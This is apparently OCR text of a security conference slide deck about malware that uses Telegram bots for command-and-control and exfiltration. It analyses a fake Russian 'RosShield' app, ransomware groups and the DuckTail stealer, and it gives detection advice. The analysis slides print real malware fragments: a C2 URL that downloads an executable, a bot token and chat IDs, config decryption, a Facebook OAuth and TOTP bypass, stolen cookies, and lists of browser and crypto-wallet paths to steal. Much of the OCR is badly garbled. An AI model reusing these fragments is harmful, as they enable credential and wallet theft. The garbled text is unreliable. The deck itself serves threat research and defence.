Malware: C2 and Exfiltration
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Approaches
(C2 and Exfiltration)
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Cloud Popular messaging Traditional C2
- Pub - Sub services Frameworks
- Cloud Storage (S3,

Azure storage, GCS )

- Cloud Functions

Focus on Telegram :



Telegram

Fully featured API

e sendDocument
e sendMessage Easier human bot

e createCommand victim interaction

New bot in < 1 minute



Speedy Bot

Alright, a new bot. How are we going to call it? Please choose a
name for your bot. 04:01 PM

Good. Now let's choose a username for your bot. It must end in
"bot’. Like this, for example: TetrisBot or tetris_bot. 04:01 PM

Done! Congratulations on your new bot. You will find it at

t. You can now add a description, about
section and proﬁle picture for your bot, see /help for a list of
commands. By the way, when you've finished creating your cool
bot, ping our Bot Support if you want a better username for it.
Just make sure the bot is fully operational before you do this.

Use this token to access the HTTP API:

'4: dQ52VJ5200mZsZK4U
Keep your token secure and store it safely, it can be used by
anyone to control your bot.




Groups & Incidents

Conti Ransomware Group

ENVIE PISTAS POR TELEFONO O SITIO WEB A:

Se estableceran contactos de seguimiento por
medio de WhatsApp, Telegram, Signal, u otras
plataformas de informacion que las partes
decidan

+1-800-CALL FBI  https://tips.fbi.gov

(+1-800-225-5324)
Lapsus A Closer Look at the LAPSUSS Data Extortion Group

Stormous Ransom March 23, 2022 33 Comments

Microsoft and identity management platform Okta both this week disclosed breaches involving
LAPSUSS, a relatively new cybercrime group that specializes in stealing data from big companies and
threatening to publish it unless a ransom demand is paid. Here's a closer look at LAPSUSS, and some of
the low-tech but high-impact methods the group uses to gain access to targeted organizatiorg.

Conti

DarkRadiation




Samples & Discussion



Ukraine's Counter Offensive

r'J POCLUUT

3awwmTa NHbpacTpyKTypbI
Poccuitckoin Gepepauum

»
POCLLMT

YCMELLHO
3AMYLLEH! ‘

Onpeaenexne UCTOYHWKOB aTak
W HelTpanu3aums kubepyrpos Ha4anocs...




Campaign Overview
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Original Lure and Translation

POCLLAT

MNpu nopaep>ke PockomMHaz3opa

Ckavatb

Vrpo3a

YBaxkaemble rpaxaaHe Poccuiickon deaepaumm, Ha oHe arpeccum YKpamHbl
3anagHoro Mupa npoTuB pycckoro HacesieHua JIHP u IHP yyacTuamch atakm
€BPONENCKUX M aMEPMKAHCKMX XaKePOB Ha CETEBYI MHPPACTPYKTYpy Hallero
rocysapcraa.

MoA yrpo3oi HaxoAATCA Kak NpaBUTE/IbCTBEHHbIE CEPBEPbI, TaK U CEPBEPbI
KPYMHEMLUMX KOMMaHMM Hallel cTpaHbl. NpaBuTebcTBOM Poccuickoi deaepaumm
NPMHMMAIOTCA Ype3BblyaliHble Mepbl Mo NpeA0TBPALLEHMI0 B3/IOMA rOCYAapCTBEHHbBIX
CalTOB M GAHKOBCKOM CMCTeMbl. B cooTBeTCTBMM € YKa3om [pe3naeHTa PoccuicKom
®denepaumm ot 02.03.2022 Ne83 PocKOMHaA30poM Bblna pa3paboTaHa cucTema Kmbep-
6e3onacHocTH PoclMT - 3awmTa Poccuiickor MHMpaCcTpyKTyphl, KOTOpas NMo3BOIUT
obecneynTb HaceneHne 6ecnepeboiHoM paboToi MHTepHeTa M NpejoTBpaTMTb
nary6Hoe BO3eMCTBME BPaXECKMX XaKepoB Ha Hally MHDPaCTPYKTypy.

ROSSCHIT

With the support of Roskomnadzor

Threat

Dear citizens of the Russian Federation, against the background of the aggression of
Ukraine and the Western world against the Russian population of the LPR and the
DPR, attacks by European and American hackers on the network infrastructure of our
state have become more frequent.

Both government servers and the servers of the largest companies in our country are
under threat. The Government of the Russian Federation is taking extraordinary
measures to prevent hacking of state websites and the banking system. In accordance
withthe Decree of the President of the Russian Federation dated 02.03.2022 No. 83,
Roskomnadzor has developed a cyber security system RosSchit - Protection of Russian
Infrastructure, which will ensure the uninterrupted operation of the Internet and
prevent the harmful impact of enemy hackers on our infrastructure.
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VKA3

IMPE3UJEHTA POCCUNCKOM ®EIEPALIUN

O 3amuTe cereBoii HHPpacTpyKTYphI Poccuiickoii
Denepanuu u obecrnieyeHus Gecnepedoiinoii padoThI
HHTEpHeTAa

B  cBs3u c HeJIpY>KEeCTBEHHBIMHU M [POTHBOpEYANIUMH
MEXIyHapoiHOMY npaBy jeicTBusiMu CoeauHeHHbIX LIITaTroB AMEpUKH U
INPUMKHYBIIMX K HHM HMHOCTPAHHBIX TIOCYAAapCTB M MEXIyHapOIHBIX
OpraHu3alueli, CBsA3aHHBIMM C aTakoH CHeHHAJbHBIX CIyX0 Ha
NPaBUTEILCTBEHHBIC CEPBEPHI U CEPBEPbl KPYMHEHIINX IOCY1apCTBEHHBIX
M YaCTHBIX KOMITaHUH 1 6aHkoB Poccuiickoii denepanuu, B LEsAX 3aLUTHI
HAllMOHAJIBHBIX HMHTEPECOB H ceTeBOH HHpacTpykTypbl Poccuiickoii
Denepanuyu, obecredeHus OecriepeOoiiHONW paboThl HMHTEpHETA U B
COOTBETCTBHHU ¢ (enepalbHbIMU 3aKoHaMH OT 30 mexaOps 2006 r. Ne 281-
D3 “O cnenHalbHBIX SKOHOMHYECCKHX M MPHHYIUTEIBHBIX Mepax”, oT 28
nexabpst 2010 . Ne 390-®3 7O 6GezonacHoctn” u or 4 mions 2018 . Ne
127-®3 “O mepax Bo3aeicTBUs (IPOTHBOACHCTBHS) HA HEAPYKECTBEHHbBIE
neiictBuss CoenuneHHsix IlITaToB AMEpHMKM M HHBIX HHOCTPAaHHBIX
rocynapcTB”’ MOCTAHOBIISIO:

1. IlpuHATH cleaylomMe Mepbl MO IPOTHBOASHCTBHIO Yrpo3aM
KuOep-aTak CO CTOPOHBI CIIEIHAJIBHBIX CIIY)KO BpaXkZeOHO HACTPOEHHBIX
rocynapcTB: Ykpaunbl, CoequHEHHBIX [IITaTOB AMEPHKH U HX COIO3HHUKOB.

a) PaspabGorare cnenmanbHOE IIpOrpaMMHOe obecreueHue Ist
3alMTHI TOCYAAPCTBEHHBIX CEPBEPOB OT KHOep-aTak

0) Oobecneunts Oecnepeboiinyio pabory HWMuTepHera Ha Bceit
Tepputopuu Poccuiickoit deaepauun

B) PaspaGorarh cucremy 3amuThl uisi obecriedeHHst ©Ge30MmacHOro
noctyna B MaTepHeT rpaxkaan Poccuiickoii denepauun

N!IIQ!LISIIIIIIIIIIIH

Z

r) Paspaborarh crenuanbHbBI KOMIUIEKC NMPO(HUIAKTHYECKHX MeEp
OTpaKCHHUIO KHOEp-aTak Co CTOPOHBI BPaKECKHX rOCCY1apCTB.

2. IlpasutensctBy Poccuiickoii ®@enepauu B 2 —IHEBHOH CpOK
yTBEpAuTh  paspaborumka  [IpaBHTENBCTBEHHOH  mporpamMMmel 1O
obecrnieueHnio 0e30macHOCTH CeTeBOi WMH(ppacTpykTypbl Poccuiickoit
Denepauu.

3. Hactosmuii Yka3z BCTymaeT B CHIYy CO JHS €ro O(QHIMAIBHOrO
oIy OJIMKOBaHHS.

AHLENSPYA )=
A Ape3uIeHT

Fckoii @esepaunn  B.Ilytun

Mockgsa, Kpemis
2 mapra 2022 rozga
Ne 83
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C2 and Victim List

const = 'http://192.227.166.33:16016/source.exe’;

Password to

Rust Binary

app.on{ ‘'ready’, => {
console.log('app rsady');

e

const password = ‘putinpidor’;
const pathTo7zip = sevenBin.path7za;
const workingPath = path.join(__dirname).replace( "‘app.asar\\build’, ‘public®);

const myStream = extractFull(path.join(workingPath, ‘setup.zip'), path.join(workingPath), {
$bin: pathTo7zip,

passwonrd

k5




push  13h ; dwBytes sub_407340 proc near
call sub_411D5@
add, ‘esp,i8 arg_@= dword ptr 8
test eax, eax
jz loc_4@E255
™1 ;3 FUNCTION CHUNK AT .text:00407524 SIZE @€0eee002 BYTES
UITE o o
wa 5= mov ebp, esp
mov ecx, dword ptr ds:aZarajenie+6 ; "enie”| |;| START OF FUNCTION CHUNK FO push ebx
movq xmml, ds:qword_10871DF push edi
movq xmm@, qword ptr ds:unk_1@871E7 Joc_4@E49C: h .
lea edi, [esi+98h] dd2 pus est
mov [esi+98h], eax J| END OF FUNCTION cHUNK FOR and esp, @FFFFFFF8h
mov dword ptr [esi+9Ch], 13h sub esp, 176h
mov dword ptr [esi+8AGh], 13h mov esi, esp
mov [eax+8Fh], ecx Y h b
movq qword ptr [eax+8], xmm@ mov [es}+158 1, ebp
movq qword ptr [eax], xmml mov [esi+15Ch], esp
push  edi mov dword ptr [esi+168h], @FFFFFFFFh
::il ::b_4223&9 mov dword ptr [esi+164h], offset sub_409eF@
teck eas: Ak lea eax, [esi+l16@h]
jz short loc_4@CBBL mov edx, [ebpt+arg_0]
[ mov ecx, large fs:0
mov [esi+16@h], ecx
FEE mov large fs:0, eax
mov dwor"d ptr [esi+25eh], @ lea eax, [esi+18h]
ZEZh £:i1+8]’ & mov dword ptr [e51:.+ODeh], offset off_1086BF8 ; /“https://api.telegram.org/bs
mov [esi], edx mov dword ptr [esi+@D4h], 3
call  dword ptr [edx] mov dword ptr [esi+@D8h], @
=l e ‘[‘esi] mov dword ptr [esi+l8h], offset a10815801296@065\; "-1001588129686511956113:
o E5E [Eitie) mov dword ptr [esi+18h], (offset a1@@15881296@65+BEh) ; "5119561132:AAFMAQ
lea edi, [esi+98h] mov dword ptr [esi+14h], @tEh
p
‘:°"t eax, [edx+4] mov dword ptr [esi+1Ch], 2Eh ; '.'
es’ eax, eax '3
4z short loc_40CBB1 mov dword p?r [esi+168h], @
1 mov ecx, esi
mov [esi+40h], eax
lea eax, [esi+leh]
push dword ptr [edx+3] ; int mov dword ptr [esi+44h], offset sub_409060
pus: eax H int mov [esi+48h], eax
pus ecx ; lpMem s
call sub_411D60 lea eax, [eSJ‘Wh]
add esp, @ch mov dword ptr [esi+4Ch], offset sub_409060
mov [esi+56h], edx
# '3 mov dword ptr [esit+54h], offset sub_408B40 15
F—zr= ! mov [esi+BEBh], eax
lea eax, [esi+@Deh]



Bot Permissions and Chat Info

GET v https://api.telegram.org/bot5119561132:AAFMAQSI. GET v https://api.telegram.org/bot5119561132: AAFMAQFIJLjfliOe SXWANBVHTVYMQa09C_xg/getChat?chat_id=-10
Params Authorization Headers (8) Rody Pre-request Scrir Params @  Authorization Headers (6) Body Pre-request Script Tests Settings
Query Params Query Params
KEY VALUE KEY VALUE DESCRIPTION
chat_id -1001580129606
Body Cookies Headers (9) Test Results Body Cookies Headers (9) Test Results € 2000K 202ms 7408
. . . Prett Raw Preview Visualize JSON -
Pretty Raw Preview Visualize JSON v . v =€
T 4
1 d o 2 "ok": true,
2 ok": true, 3 "result": §
3 result": { 4 "id": -1001580129606,
4 "id": 5119561132, 5 "title": "AntiPutler Group|,
5 "is_bot": true, 6 "type": "supergroup",
6 "first_name": "hnet_reports", 7 "permissions": {
74 "username": "joaisdjaosmcoabot", 8 "can_send_messages": true,
8 "can_join_groups": true, 9 "can_send_media_messages": true,
9 "can_read_all_group_messages": false, 10 "can_send_polls": true,
10 "supports_inline_queries": false 11 "can_send_other_messages": true,
11 2 12 "can_add_web_page_previews": true,
12 @ 13 "can_change_info": true,
14 "can_invite users": true, 16
15 "can_pin_messages": true

Q

o



Sample messages over 30 days

"id": -1001580129606,
"title": - "AntiPutler Group",
“"type": - "supergroup"
bl
"date": 1659436478,
"text": "WaHoBHi!\nCborogHi noTpibHa Bawa gonomora\nHe ¢iHaHCcOBO ( Ue TpOWKW Ni3Hiwe, angeuT

no 36opam uwe He noctuB) \n\nTpeba no 6penHwtTopmutu\n\nCnpasa ocb B 4omy\n\n3anuaus 6oTa\nwob
BiH onupaw4ucb Ha CTAaTUCTUKY MUCaB MOBiJOMIEHHA MpPO MOXAUBL BTpaTu opKiB.\nHe BucTa4vae
¢aHTax3ii gna mecepxiB\n\nOcb 6oT\nhttps://t.me/ibash_bot\n\n\nHakungaiite meceaxiB ski 6 BiH
Mir nucaTtv wopo 36uTTA NiTakiB, pakeT, TaHKiB, opkiB 1 T n\n\n\nOcb npuknag no opkam wa €

3apas\n\norki: [\n \u@OB271loHO - CBiT  CTaB TPOWEeYKM - Kpale, - TOMY WO Ha OAHY paWUCTCbKY
cBUHocobaky cTano meHwe.\uo27,\n \uee273anuumuBbcs 6 goma, 6y 6M uinuk... A Tenep B
nakeTuky noipe aoaomy...\u@@Z?,\n \u@v27CBiT cTaB TPOWKMW - Kpalle, Tomy -wa - 3CY 3aBanuau we
OLHO - pawmncTcbke - xpwkano\uee27\n]",

"entities": [

"offset": 286,
"length": 22,
"type": "url"




Sample messages over 30 days

UKRAINIAN - DETECTED RUSSIAN ENGLISH SPANISH v

“LLIaHoBHI'\nCborogHi noTpi6Ha Balla gornomMora\nHe iHaHcoBo ( Le
TPOLLKM Mi3Hille, anaeinT no 3éopam Lie He nocTus) \n\nTpeba no
6peiHIWTOpMUTM\N\NCNpaBa ocb B YoMy\n\n3anuaune 60Ta\nLLo6
BiH OMMparUYMUChb Ha CTAaTUCTUKY NUCAB NMOBIAOMEHHS MPO MOXIUBI
BTpaTu opkiB.\nHe BucTayae paHTaxsii na mecegxis\n\nOcb
60T\nhttps://t.me/ibash_bot\n\n\nHakngaite MeceaxiB aKi 6 BiH Mir
nucaTy LWoAo 36UTTA JiTaKiB, pakeT, TaHKiB, opkiB i T M\n\n\nOcb
npuKnaz no opkam La € 3apas\n\norki: [\n \u0027LLloitHo CBIT cTaB
TPOLLEYKM KpalLle, TOMY Lo Ha OfHY palLUMCTCbKY CBMHOCO6aKy CTasio
MeHLLe. \u0027,\n \u00273anu1wmBbcs 6 AoMa, 6yB 61 LIiNUiA... A
Tenep B NakeTuKy noige gogomy...\u0027,\n \u0027CBiT cTaB
TPOLLKK KpaLle, ToMy Wwa 3CY 3aBasiiu LWwe 0AHO pallnCcTCbKe
Xptokano\u0027\n]"

ENGLISH SPANISH ARABIC v

later, | haven't posted the update on fees yet) \n\nWe need to
brainstorm\n\nThe point is this\n\nl dusted the bot\nso that, based
on statistics, it writes messages about possible loss of orcs.\nNot
enough fantasy for messages\n\nHere is a
bot\nhttps://t.me/ibash_bot\n\n\nDraw messages that he could write

about shooting down planes, missiles, tanks, orcs, etc.\ n\n\nHere is
an example of the orcs that | still have now\n\norki: [\n \u0027The
orld just got a little better, because there was one less racist pig
dog.\u0027,\n \u0027I would have stayed at home, | would have been
hole.. . And now he will go home in a bag...\u0027,\n \u0027The
orld has become a little better, that's why the Armed Forces of
Ukraine threw in another racist grunt\u0027\n]"
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Potential Victim

"id": 353602221,
“1s) bot=:==fal

"first _name":
"last_name":

"username":

“id": -1001580129606,
“title": - "AntiPutler Group",
ltype n : =UECEEEALE 3 = Vidnoye, Moscow Oblast, Russia
s
"date": 1659729891,
“"forward_from": - { Summary
”id” : 5188882941! ASN AS47104 - Prolink MO.ru Ltd.

"is bot": true,
T Hostname No Hostname

"first _name":
Range |

"username": '
Company PROLINK Communications

3 ¢

J:y
“"forward_date": 1659723523, Hosted domains 0
Stext o= \n File exec data: Privacy
\nC:\\Users\\User\\AppData\\Local\\Programs\\RosShield\u@@3eSTART Anycast
C:\\Users\\User\\AppData\\Local\\Programs\\RosShield\\resources\\public\\source.exe — Busines

"entities": [
Abuse contact abuse@prolink.ru




Large Russian Data Dump Coincides With Conversation In Chat

type": supergroup

s
"date": 1659865910,
“text™:--"http://185

"entities": [

"offset": -0,
"length™:-.21,

= 4ypar -]~ Webserver with data dump from
Russian resources

"update_id": 168670652,
"message": {
"message_id": 4009,
"from": {
"id": 370602435,
"is_bot": -false,
"first_name"
"last_name":
"username":

"id": -1001580129606,

s ol el Follow up message in response

“type": - "supergroup"

I to webserver

"date": 1659865916,
"text":  "BycHAwKM




Attribution via Language

* In the sample there is exclusive usage of Russian
« Communication in Telegram Chat is exclusive to Ukrainian

/4 65 /2 6k b1 /4 69 bF BE 61 6L 5C 4/ 65 OF 6/ ternational\Geog
65 74 20 72 65 67 69 6F 6E 20 65 72 72 6F 72 00 et region error
70 08 01 OB 00 00 00 00 00 OA 00 rpe@d | @

30 pi%3Nachinaem zar
ajenie rpo@d
= rpo@d

08 01 0B 00
91 00 00 00 16 00 00 00 6F 6D 70 20 64 65 61 & = Komp dea

kA 20 an 22 kA &1 Aar A&r AR &4 0 GD AE T A AQ A <2,allad CNOnti
Hex View
DETECTLANGUAGE  RUSSIAN  UKRAINIAN  ENGLISH v & GERMAN  ENGLISH  SPANISH v
HaunHaem 3apa>KeHMe\ X Starting the infection

Nachinayem zarazheniye
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BAD OpSec GOOD OpSec

Using real-world identities and usernames in
their operations

Specific focus on Victim geographical region(several
Usernames matched back checks to ensure victims are Russians in Russia)

to OpenSea(NFT Marketplace) and GitHub

Communicating operational procedures in chat

« VVictim List }\Control Panel\International\Geoget r..

* Disinformation campaign plans

Infr_astrupture left alive after: el el 405080(&xS'tack4é4, "https://httpbin.org/iporiginrp",
period with vulnerable services ack616 = XVarl? > 0x20:

ack6e8 = xVarl7;

ck584. 4 4 = xStackd64. 4 4 ;

* Vulnerable NodeJS Express service

Debug code indicating intent (victim list) left in

Electron Application
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Malware Scenarios



Entry Level Attackers | Stealer Groups

» Entry level & Advanced Crime Groups

 Code Sophistication : An obvious
attempt at avoiding static analysis, by
using obfuscated(b64) ,  AES
encryption & some segment packing

» Connection Redundancy : Use
multiple exfiltration channels (not just
telegram)

« SMTP
» Pastebin
« Github

BDOS = “j8jfmfTZf
Hwid =
Delay = "3";

2 Group = "DMRqrisIeUsgdrORETIDP3RBgkO/ebad@l@nBuSeFjpe/aRonuSxR799Q

InitializeSettings()

Key = .UTF8.GetString(
aes256 = Aes256(Key);
TelegramToken = aes256.Decrypt(TelegramToken);
TelegramChatID = aes256.Decrypt(TelegramChatID);
Ports = aes256.Decrypt(Ports);

Hosts = aes256.Decrypt(Hosts);

Version = aes256.Decrypt(Version);

Install = aes256.Decrypt(Install);

MTX = aes256.Decrypt(MTX);

Pastebin = aes256.Decrypt(Pastebin);

Anti = ages256.Decrypt(Anti);

BDOS = aes256.Decrypt(BDOS);

Group = aes256.Decrypt(Group);

.FromBase64String(Key));

Hwid = HWID();
Serversignature = aes256.Decrypt(Serversignature);

ServerCertificate = X509Certificate2(
return VerifyHash();

.FromBase64String(ages256.Decrypt



Underground Forums Advertisement

Good day everyone, pls i need a botnet crypted file pls

ali1920

New member

How do | build my virus with it

Dove123



www.BANDICAM.com

' ‘\_D W,
‘ /; Untitled - Nctepad

Format View Help
BotFather
Hello Today I Am Going to SHOW YOU HOW TO SET UP AND USE WORLDWIND STEALER.

FIRST YOU SHOULD CREATE A TELEGRAM BOT BY GOING TO @BOTFATHER
ONCE THERE CREATE A BOT AND COPY THE API TOKEN AND PUT IT IN THE BUILDER

ChatID: @iDCHATBOT

w oy

-4\‘,
)~ 0544526




DuckTail: Vietnamese Threat Actor

Targets:
* Meta Business Administrators
* Oculus VR Users
» All Meta users (account takeover)
Spreads across all social media and professional services
Evolves quickly to evade detections
Expends a lot of effort in their software development process
All binaries are signed
Intricate knowledge of Facebook architecture
« TOTP mitigations
» Undocumented end points
Evades 2FA and MFA
Meta Detection :
» Malicious OAUTH applications added to your enterprise account




MFA/OTP BYPASS

> GetTokenOculus(HttpClic httpClient, ' fbData)
1
fbData.Log("get t token ocl");
@Strlng httpClient.GetString("https://mbasic.facebook.com/dialog/ocauth?client id=1517832211847102&redirect_ ri=httpsk

{

B e

1 e

i : .

i : in" }
1)s
if (string.IsNullOrEmpty(@string))
z
1

fbData.Log("Nc html");

eturn 113

}

str @strlng RegGetString("nan
str2 = @string.RegGetString("na
str3 = @string. RegGetStllng( na
formData = "fb_dtsg=" + Des
httpResponseMessage = httpClient.Post("https://mbasic.facebook.com/dialog/oauth/skip/submit/", formData,

UrlEncode(str) + 'l_ " + HttpUtility.UrlEncode(str2) + "&display-=

» ComputeTotp()

input = CalculateTimeStepFromTimestamp(DateTime.UtcNow);
[]1 bigEndianBytes = GetBigEndianBytes(input);
hMACSHA = ; HMACSHAL();
hMACSHA.Key = key;
[] array = hMACSHA.ComputeHash(bigEndianBytes);
num = array[~1] & OxF;
num? = ((arravinuml & Ox7FY << 24Y | ((arravinum + 11 & OxFFY << 168) | ((arravinum + 21 & OGxFF) << 2Y | ((arravlr




string text =
byte[] rgbKey = new byte[8] { 91, 243, 81, 87, 209, 2, 227, 33 };
byte[] rgbIV = new byte[8] { 233, 135, 121, 18, 227, 114, 89, 58 };
SymmetricAlgorithm symmetricAlgorithm = DES.Create()ﬂ

"SVN6PKUD5ypLbDFrtdFqy+Hgkjp5t57PhX24a076pAnTMCO5ecxkKI6zV7mdXFH21T2rbvgoyU+mOUWSPASOZE JHXBpPk

ICryptoTransform cryptoTransform = symmetricAlgorithm.CreateDecryptor(rgbkey, rgbiv);

byte[] array = Convert.FromBase64String(text);

byte[] bytes = cryptoTransform.TransformFinalBlock(array, @, array.Length);

Console.Write(Encoding.Unicode.GetString(bytes));

v A SOL |L+Native Tree

IRAGIINACEAACKAN L& NICN vAl ATl A _NCwwCNARY

"

“usexr": %
“id": 397138469,
"is_bot": false,
“first_name": "dac",

“"user": 3
“id": 1330503744,
"is_bot": false,
“Tesla”,
“elon_tesla@g9”

"last_name": "Tai", “"first_name":

“username”: "TaiDuc
2
T T,

“status”:

“usexrname":

creatoxr", "administratoxr”,

“status":
“is_anonymous": false

"

“usex”: {
"id": 5518610055,
“is_bot": false,

"first_name": "Hoa Sen",

"last_name®: "Ton",
“username”": "tonhoasensos
¥y

“status": "administrator”,
“can_be_edited"”: falif'

“can_manage_chat”: txue,



1668757911 | Friday, November 18, 2022 7:51:51 AM

“"chat”: - {
"id": -1001322329456,
“title": -"tai_server_ fb data_quyet”,
"type": "channel"
¥
"date”: 1668757911,
"document”: {
"file name": "Log data 9eecd@f3-deal-4d66-bd6d-4396c453abe2.zip",
"mime_type": "application/zip",
"file id": "BQACAgUAAXOETtElcAABBeY7Y3c51gU s0S0183gf3XMpIbuOOEAAp8IAAKY971X\
"file unique _id": "AgADnwgAApij3uVc",
"file size":-5795520

<
J

"caption”: "key:1KMMUhiAbDdR7kPU3eGqgLYEK19Sy+0qS7/VGH1/xJOWfNDKhofXPmgeufSYFE3/Og

t": - "decrypt”



Params e Authorization Headers (6) Body Pre-request Script Tests Settings

Query Params

KEY VALUE DESCRIPTION o
file_id BQACAgUAAXOCTtEICAABBeZPY3c8XbhD3WaeiUN...
Body Cookies Headers (8) Test Results @ Status: 200 OK Time: 489 ms Size: 599 B Save
Pretty Raw Preview Visualize JSON v =
1

"ok": true,
“Tesult™: 3
"file_id": "BQACAgUAAXOCTtElcAABBeZPY3c8XbhD3WaeiUNEOBX_06WyVOQAATKIAAKY971XY6CgNAKYS8RMIBA",
"file_unique_id": "AgADuQgAApj3uvc",
"file_size": 5795520,
"file_path": "documents/file 2127.zip"

O 00 NN 00 B B W N =



Name

M [D *

i

M [

I

m

]

I

i

[H
1

M

[

ui\
e

M [

W [

|

[l

M0 (e

1

2

3
cookiesT.txt
cookies2.txt
cookies3.txt
cookies4.txt
cookies5.txt
cookiesb.txt
cookies7.txt
cookies8.txt
cookies9.txt
cookies10.txt
cookies11.txt
cookies12.txt
cookies13.txt
cookies14.txt
cookies15.txt
cookies16.txt
cookies17.txt
cookies18.txt
cookies19.txt
cookies20.txt
cookies21.txt
cookies22.txt
cookies23.txt
cookies24.txt
cookies25.txt

Date modified

11/19/2022 10:25 AM
11/19/2022 10:25 AM
11/19/2022 10:25 AM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM
11/18/2022 3:51 PM

Type

File folder

File folder

File folder

Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document
Text Document

Text Document

Size

1,079 KB
38 KB
326 KB
8KB
89 KB
1KB
12 KB
503 KB
15 KB
365 KB
99 KB
113 KB
93 KB
602 KB
406 KB
563 KB
9KB
114 KB
10 KB
182 KB
69 KB
265 KB
156 KB
34 KB
411 KB



I—I\rl-l-l J T S etV eV V. N eV eF 8 8§ -.-vvv’ - e e N e W 8 N - l\‘-l-—l\—,

"IsHttpOnly":false}, {"Name":"BID",

"Value”: , Host":".toast.com",

“Path™:" /", "Expiry":14169113993754, "IsSecure”:true,

"IsHttpOnly":false},{"Name":" utma","Value":"207539602.
; Host™:".

payments.google.com”, "Path":"/","Expiry":13366435432000,
"IsSecure”:false,"IsHttpOnly":false},{"Name":" utmz",

"Value":"' m|
utmccn=(referral) |utmecmd=referral [utmcct=/", "Host":".
payments.google.com”,"Path":"/","Expiry":13319131432000,
"IsSecure”:false, "IsHttpOnly":false},

{"Name":"visitor id714133","Value” 5 HOSE o

pardot.com”,"Path":"/","Expiry":13618733625198,
"IsSecure”:true,"IsHttpOnly":false},




FACEBOOK LOOT

"permitted roles™: |
"DEVELOPER",
"FINANCE_EDITOR",
"ADMIN"

"permitted roles”: [
"ADMIN"




Source Code Release

https://github.com/just4drama/DuckTalil

CrowdStrike Falcon

N/A

Static Analysis and ML @
Last Update: 11/17/2022 11:27:16 (UTC)
View Details: N/A

Visit Vendor: [£

Why?

CLEAN

Multi Scan Analysis
Last Update: 11/17/2022 11:27:16 (UTC)
View Details: ™

Visit Vendor: [

CLEAN

Multi Scan Analysis
Last Update: 11/17/2022 11:27:16 (UTC)
View Details: [

Visit Vendor: [
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On the Usage of
Intelligence



OSINT & Engines

Absence of
detections is not
equal to the lack of
maliciousness

Both AV and engines like
VirusTotal

And even your
EDR/XDR(insert future
technology)

Open-source threat
intel provides only
backward-looking
indicators

The universe of
indicators of
compromise is
greater than

Hashes
URLS

IP Addresses
Registry
PSLists

Normalize the use
of binary content
as part of
indicators of
compromise



Software Packing
T1027.002

Observed TTPs

Remote System Discovery
T1018

Obfuscated Files or
Information T1027

Security Software
Discovery T1518.001

Deobfuscate/
Decode Files or Ingress Tool
Information T1140 | Transfer T1105

Clipboard Timestomp
Data T1115 | T1070.006

Query Registry
T1012




OpSec



Good OpSec

Attackers disable the bot after victims check in

Bots do not have admin privileges

Attacker does not attach their personal cell phone number to telegram
account

Attacker does not use any identifiable information in registering for
telegram or creating the bot

*Name or social media handle as part of group name or bot name
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Phone Number & Profile Photos & Videos

Everybod
Everybody it

O My Contacts
My Contacts

You can restrict who can see your profile photo with

granular precision.
() Nobody

sers who have your number saved in their contacts will

also see it on Telegram. Never Share With
Add Users

This public link opens a chat with you:
You can add users or entire groups as exceptions that will

override the settings above.

Who can see your phone number




Don't record yourself



http://www.youtube.com/watch?v=BZRWLm17Cis

Bot/Chat Investigation

Non-Invasive Invasive
getChatAdministrators
getChatMember e createChatlnviteLink
getChat e promoteChatMember
getUpdates e copyMessage ->

setWebhook forwardMessage



Detections & Mitigations



Lookup device public ip with resolvers (where originating process is
not a browser)

*ip.anysrc.net
«checkip.dyndns.org
*api.2ip.ua
api.ipify.org
*ip-api.com

Common

User Geoleocation and BSSID lookup

B e h a V i O rS *VVia Registry and public BSSID resolvers

Packing

*Themida, ASPNet, Custom techniques

Bundlers and Installers (Pylnstaller)

*Segway : There is a steady increase int he presence of Rust malware

Credential Theft( reading security credential stores)

*Sometimes even launching a headless browser to get further authentication material




Detection

DNS resolution correlated with process-based activity

File Integrity Monitoring (FIM) - File Reads

* To cover most of the credential theft scenarios detect file
reads

* Monitor reads of browser credentials
Borrowed code from stealer generators
« Code Similarity

Certificate Based Data in IDS

* |dentify the SNI in TLS exchange as
“api.telegram.org”

Malicious Command Detection
« Several machine learning models in the domain
* Mostly Character Embedding Based

Anomalous Traffic Detection
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hm.
hm.
hm.
hm.
hm.
hm.
hm.
hm.
hm.

hm
hm

) -

hm.
hm.
hm.
hm.

.insert("elements-browser", Dumper::new(
hm.

BROWSERS

insert("edge", Dumper::new("Edge", "Microsoft"));
insert("chromium”, Dumper::new("", "Chromium"));
insert("7star", Dumper::new("7Star", "7Star"));

nn

insert("amigo", Dumper::new("", "Amigo"));

insert("brave", Dumper::new("Brave-Browser", "BraveSoftware"));

insert("centbrowser", Dumper::new("", "CentBrowser"));
insert("chedot"”, Dumper::new("", "Chedot"));
insert("chrome_canary", Dumper::new("Chrome SxS", "Google"));

insert("coccoc", Dumper::new("Browser", "CocCoc"));

.insert("dragon", Dumper::new("Dragon", "Comodo"));

, "Elements Browser"));

insert(

"epic-privacy-browser",

Dumper: :new("", "Epic Privacy Browser"),
insert("chrome", Dumper::new("Chrome", "Google"));

insert("kometa", Dumper::new("", "Kometa"));
insert("orbitum", Dumper::new("", "Orbitum"));

insert("sputnik", Dumper::new("Sputnik", "Sputnik"));

Browser\User
Data\Default
~/Libraries/Cookies
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Crypto Wallets

:obfstr! ("Exodus").to_string(), obfstr::obfstr! ("%APPDATA%\\exodus\\exodus.wallet\\

r!("JaxxWallet").to_string(),

r! ("%APPDATA%\\Wallets\\Jaxx\\com.liberty.jaxx\\IndexedDB\\file__©.indexeddb.leveld

:obfstr! ("Electrum").to_string(), obfstr::obfstr!
:obfstr! ("ByteCoin").to_string(), obfstr::obfstr!
:obfstr! ("Ethereum").to_string(), obfstr::obfstr]
:obfstr! ("Guarda").to_string(), obfstr::obfstr! ('

:obfstr! ("Coinomi").to_string(), obfstr::obfstr!d
:obfstr! ("Armory").to_string(), obfstr::obfstr! ("

